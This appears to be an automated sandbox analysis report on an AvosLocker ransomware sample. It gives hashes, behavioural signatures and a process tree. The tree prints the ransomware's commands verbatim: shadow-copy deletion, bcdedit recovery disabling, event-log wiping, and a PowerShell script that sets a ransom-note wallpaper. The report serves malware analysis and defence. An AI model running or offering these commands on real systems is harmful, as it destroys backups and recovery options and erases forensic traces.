Analysis

  • max time kernel
    148s
  • max time network
    149s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240704-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240704-enlocale:en-usos:windows10-2004-x64system
  • submitted
    24-07-2024 17:09

General

  • Target

    BFF12A83B1FC2E0AD0000AD9B68ABC8EADA559BB1094CAAF5B9F52887DF23705.exe

  • Size

    807KB

  • MD5

    19944159dfa94a1b75effd85e6b906dc

  • SHA1

    250acf87366f4c0cf91679a0e93dfc79954f0f10

  • SHA256

    bff12a83b1fc2e0ad0000ad9b68abc8eada559bb1094caaf5b9f52887df23705

  • SHA512

    c791840f59c2fc906c197c43e0e1717b9504cf46177a3688ecbd4937cdbf95349d68cc1e63649b85f02df4e6990c4df4756dd8267b062ea5271dd61fc3e508b0

  • SSDEEP

    12288:0Z4s3rg9u/2/oT+NXtHLlP/O+OeO+OeNhBBhhBBAtHg9rjI+LXJ0ivlzkHBDsYA7:u4s+oT+NXBLi0rjFXvyHBlbnCZa8

Malware Config

Signatures

  • Avoslocker Ransomware

    Avoslocker is a relatively new ransomware, that was observed in late June and early July, 2021.

  • Deletes shadow copies 3 TTPs

    Ransomware often targets backup files to inhibit system recovery.

  • Modifies boot configuration data using bcdedit 1 TTPs 2 IoCs
  • Renames multiple (8487) files with added filename extension

    This suggests ransomware activity of encrypting all the files on the system.

  • Drops desktop.ini file(s) 1 IoCs
  • Enumerates connected drives 3 TTPs 1 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Sets desktop wallpaper using registry 2 TTPs 1 IoCs
  • Drops file in Program Files directory 64 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Using powershell.exe command.

  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Interacts with shadow copies 3 TTPs 1 IoCs

    Shadow copies are often targeted by ransomware to inhibit system recovery.

  • Suspicious behavior: EnumeratesProcesses 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 26 IoCs
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Users\Admin\AppData\Local\Temp\BFF12A83B1FC2E0AD0000AD9B68ABC8EADA559BB1094CAAF5B9F52887DF23705.exe
    "C:\Users\Admin\AppData\Local\Temp\BFF12A83B1FC2E0AD0000AD9B68ABC8EADA559BB1094CAAF5B9F52887DF23705.exe"
    1⤵
    • Drops desktop.ini file(s)
    • Enumerates connected drives
    • Drops file in Program Files directory
    • System Location Discovery: System Language Discovery
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:4544
    • C:\Windows\SYSTEM32\cmd.exe
      cmd /c wmic shadowcopy delete /nointeractive
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:3976
      • C:\Windows\System32\Wbem\WMIC.exe
        wmic shadowcopy delete /nointeractive
        3⤵
        • Suspicious use of AdjustPrivilegeToken
        PID:24592
    • C:\Windows\SYSTEM32\cmd.exe
      cmd /c vssadmin.exe Delete Shadows /All /Quiet
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:3520
      • C:\Windows\system32\vssadmin.exe
        vssadmin.exe Delete Shadows /All /Quiet
        3⤵
        • Interacts with shadow copies
        PID:36684
    • C:\Windows\SYSTEM32\cmd.exe
      cmd /c bcdedit /set {default} recoveryenabled No
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:1900
      • C:\Windows\system32\bcdedit.exe
        bcdedit /set {default} recoveryenabled No
        3⤵
        • Modifies boot configuration data using bcdedit
        PID:24176
    • C:\Windows\SYSTEM32\cmd.exe
      cmd /c bcdedit /set {default} bootstatuspolicy ignoreallfailures
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2128
      • C:\Windows\system32\bcdedit.exe
        bcdedit /set {default} bootstatuspolicy ignoreallfailures
        3⤵
        • Modifies boot configuration data using bcdedit
        PID:9388
    • C:\Windows\SYSTEM32\cmd.exe
      cmd /c powershell -command "Get-EventLog -LogName * | ForEach { Clear-EventLog $_.Log }"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2060
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -command "Get-EventLog -LogName * | ForEach { Clear-EventLog $_.Log }"
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:24544
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "$a = [System.IO.File]::ReadAllText(\"C:\GET_YOUR_FILES_BACK.txt\");Add-Type -AssemblyName System.Drawing;$filename = \"$env:temp\$(Get-Random).png\";$bmp = new-object System.Drawing.Bitmap 1920,1080;$font = new-object System.Drawing.Font Consolas,10;$brushBg = [System.Drawing.Brushes]::Black;$brushFg = [System.Drawing.Brushes]::White;$format = [System.Drawing.StringFormat]::GenericDefault;$format.Alignment = [System.Drawing.StringAlignment]::Center;$format.LineAlignment = [System.Drawing.StringAlignment]::Center;$graphics = [System.Drawing.Graphics]::FromImage($bmp);$graphics.FillRectangle($brushBg,0,0,$bmp.Width,$bmp.Height);$graphics.DrawString($a,$font,$brushFg,[System.Drawing.RectangleF]::FromLTRB(0, 0, 1920, 1080),$format);$graphics.Dispose();$bmp.Save($filename);reg add \"HKEY_CURRENT_USER\Control Panel\Desktop\" /v Wallpaper /t REG_SZ /d $filename /f;Start-Sleep 1;rundll32.exe user32.dll, UpdatePerUserSystemParameters, 0, $false;"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:35052
      • C:\Windows\system32\reg.exe
        "C:\Windows\system32\reg.exe" add "HKEY_CURRENT_USER\Control Panel\Desktop" /v Wallpaper /t REG_SZ /d C:\Users\Admin\AppData\Local\Temp\304042907.png /f
        3⤵
        • Sets desktop wallpaper using registry
        PID:33272
      • C:\Windows\system32\rundll32.exe
        "C:\Windows\system32\rundll32.exe" user32.dll UpdatePerUserSystemParameters 0 False
        3⤵
          PID:31304
    • C:\Windows\system32\vssvc.exe
      C:\Windows\system32\vssvc.exe
      1⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:30088

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

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    Downloads

    • C:\GET_YOUR_FILES_BACK.txt

      Filesize

      1011B

      MD5

      6d81ed40ba0a283e5483bfe6a448e9d7

      SHA1

      0c847a5f9df743b13e1aa11b4c24a4309e9a7119

      SHA256

      b4464f61655ca584170694bedd52c6cff2b74c18a761b33cfb1387f017d2d57d

      SHA512

      8956415f155f24852ac672aa06cc6a8819a2a0e44a9b940f8f3390c34ebb43ff10f4635722f104a5a9a94098d3f286362f507dc49d3f048e540f48c073eaf379

    • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

      Filesize

      2KB

      MD5

      6cf293cb4d80be23433eecf74ddb5503

      SHA1

      24fe4752df102c2ef492954d6b046cb5512ad408

      SHA256

      b1f292b6199aa29c7fafbca007e5f9e3f68edcbbca1965bc828cc92dc0f18bb8

      SHA512

      0f91e2da0da8794b9797c7b50eb5dfd27bde4546ceb6902a776664ce887dd6f12a0dd8773d612ccc76dfd029cd280778a0f0ae17ce679b3d2ffd968dd7e94a00

    • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

      Filesize

      1KB

      MD5

      da5f72415ab3ec473fec571b22dd78e8

      SHA1

      cc1e81830706b3b1faa1357bffcaae93219d6680

      SHA256

      d524aa42b7b3cedcdd8317447904b4a729ef1721085dff5df3311a253e5ab9fb

      SHA512

      62bce97b7d00c5dbe43315c08414acc092731851a2e47e0860ef0cc1a853b7ce7d2b8439a3d94a93393a98881f2b256c4eaa74865262610fef29aa8a285cebbf

    • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_eo5edohl.uie.ps1

      Filesize

      60B

      MD5

      d17fe0a3f47be24a6453e9ef58c94641

      SHA1

      6ab83620379fc69f80c0242105ddffd7d98d5d9d

      SHA256

      96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

      SHA512

      5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

    • memory/24544-20956-0x00000126E3D60000-0x00000126E3D82000-memory.dmp

      Filesize

      136KB